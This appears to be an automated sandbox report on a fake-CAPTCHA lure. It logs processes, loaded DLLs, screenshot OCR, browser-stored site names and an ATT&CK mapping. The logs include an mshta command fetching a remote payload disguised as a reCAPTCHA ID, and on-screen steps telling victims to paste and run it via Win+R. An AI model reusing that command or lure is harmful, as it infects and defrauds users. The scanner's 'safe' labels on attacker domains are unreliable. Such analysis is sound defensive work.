Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://solve.jrqr.org/awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c # ? ''I am not a robot - reCAPTCHA Verification ID: 3943''
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:9474 /prefetch:2
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:75012 /prefetch:2
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6332 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6552 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1908,i,14487549043313255646,10754558646077735091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:9474 /prefetch:2	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6376 CREDAT:75012 /prefetch:2	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922003-0.0.1.1-%2Fmima.mp4"	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6332 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6552 --field-trial-handle=1968,i,17212161193525190570,5009424471447963821,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\Office\16.0\Lync

Source: screenshot	OCR Text: x e about:blank C.iPASSO. Nel cuore di Ronna, acl cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: am a robot retA9tOiA 10; VERIFY finish verification. x Run Type the name of a program, folder, document or Internet resource, and Windows will open It for you. "l am not a robot - reCAPTCHA Verification 10: 3943' Open: 0K 11:33 ENG p Type here to search SG 03/01/2025
Source: screenshot	OCR Text: x e about:blank CiPssa. Nel cuore di Roma, x x a X cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: t a robot VERIFY finish verification. 11:33 ENG p Type here to search SG 03/01/2025
Source: Chrome DOM: 1.0	OCR Text: Complete these Verification Steps To better prove you are not a robot, please: 1. Press & hold the Windows Key C + R 2. In the verification window. press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: "t am not a robot reCAPIC"A Perform the steps above to finish verification.
Source: screenshot	OCR Text: x e about:blank CiPssa. Nel cuore di Roma, x x a X cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: 1. Press & hold the Windows Key : + R. 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: t a robot VERIFY finish verification. 11:33 ENG p Type here to search SG 03/01/2025
Source: screenshot	OCR Text: x e about:blank CiPAssa. Nel cuore di Ronna, acl cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V Undo 3. Press Enter on your keyboard to finish. Cut You will observe and agree: Copy Paste am a robot retA9tOiA 10; Delete Select All VERIFY Right to left Reading order finish verification. Run Show Unicode control characters Insert Unicode control character Type the name Opevl E resource, and Wi Reconversion Open: 11:33 ENG p Type here to search SG 03/01/2025
Source: screenshot	OCR Text: x e about:blank C.iPASSO. Nel cuore di Ronna, acl cipassaitalia.it Complete these Verification Steps To better prove you are not a robot. please: I. Press & hold the Windows Key + R 2. In the verification window, press Ctrl + V 3. Press Enter on your keyboard to finish. You will observe and agree: am a robot retA9tOiA 10; Perform the steps above to finish verification. 11:33 ENG p Type here to search SG 03/01/2025

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Web Data.21.dr	Binary or memory string: outlook.office365.comVMware20,11696584680t
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696584680p
Source: Web Data.21.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696584680^
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696584680n
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696584680]
Source: Web Data.21.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696584680x
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696584680
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.21.dr	Binary or memory string: outlook.office.comVMware20,11696584680s
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F6599000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: Web Data.21.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696584680\|UE
Source: Web Data.21.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696584680x
Source: Web Data.21.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696584680u
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: ms.portal.azure.comVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696584680}
Source: Web Data.21.dr	Binary or memory string: bankofamerica.comVMware20,11696584680x
Source: Web Data.21.dr	Binary or memory string: turbotax.intuit.comVMware20,11696584680t
Source: Web Data.21.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696584680~
Source: Web Data.21.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696584680}
Source: Web Data.21.dr	Binary or memory string: AMC password management pageVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696584680h
Source: Web Data.21.dr	Binary or memory string: interactivebrokers.comVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696584680z
Source: Web Data.21.dr	Binary or memory string: tasks.office.comVMware20,11696584680o
Source: Web Data.21.dr	Binary or memory string: discord.comVMware20,11696584680f
Source: Web Data.21.dr	Binary or memory string: global block list test formVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696584680
Source: Web Data.21.dr	Binary or memory string: dev.azure.comVMware20,11696584680j
Source: Web Data.21.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696584680d

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Exploitation for Client Execution	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	Security Account Manager	13 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/xmlrpc.php	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/?lang=en	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssWy	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssX	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5	0%	Avira URL Cloud	safe
https://t3.awagama.org/mima.mp4rn	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9	0%	Avira URL Cloud	safe
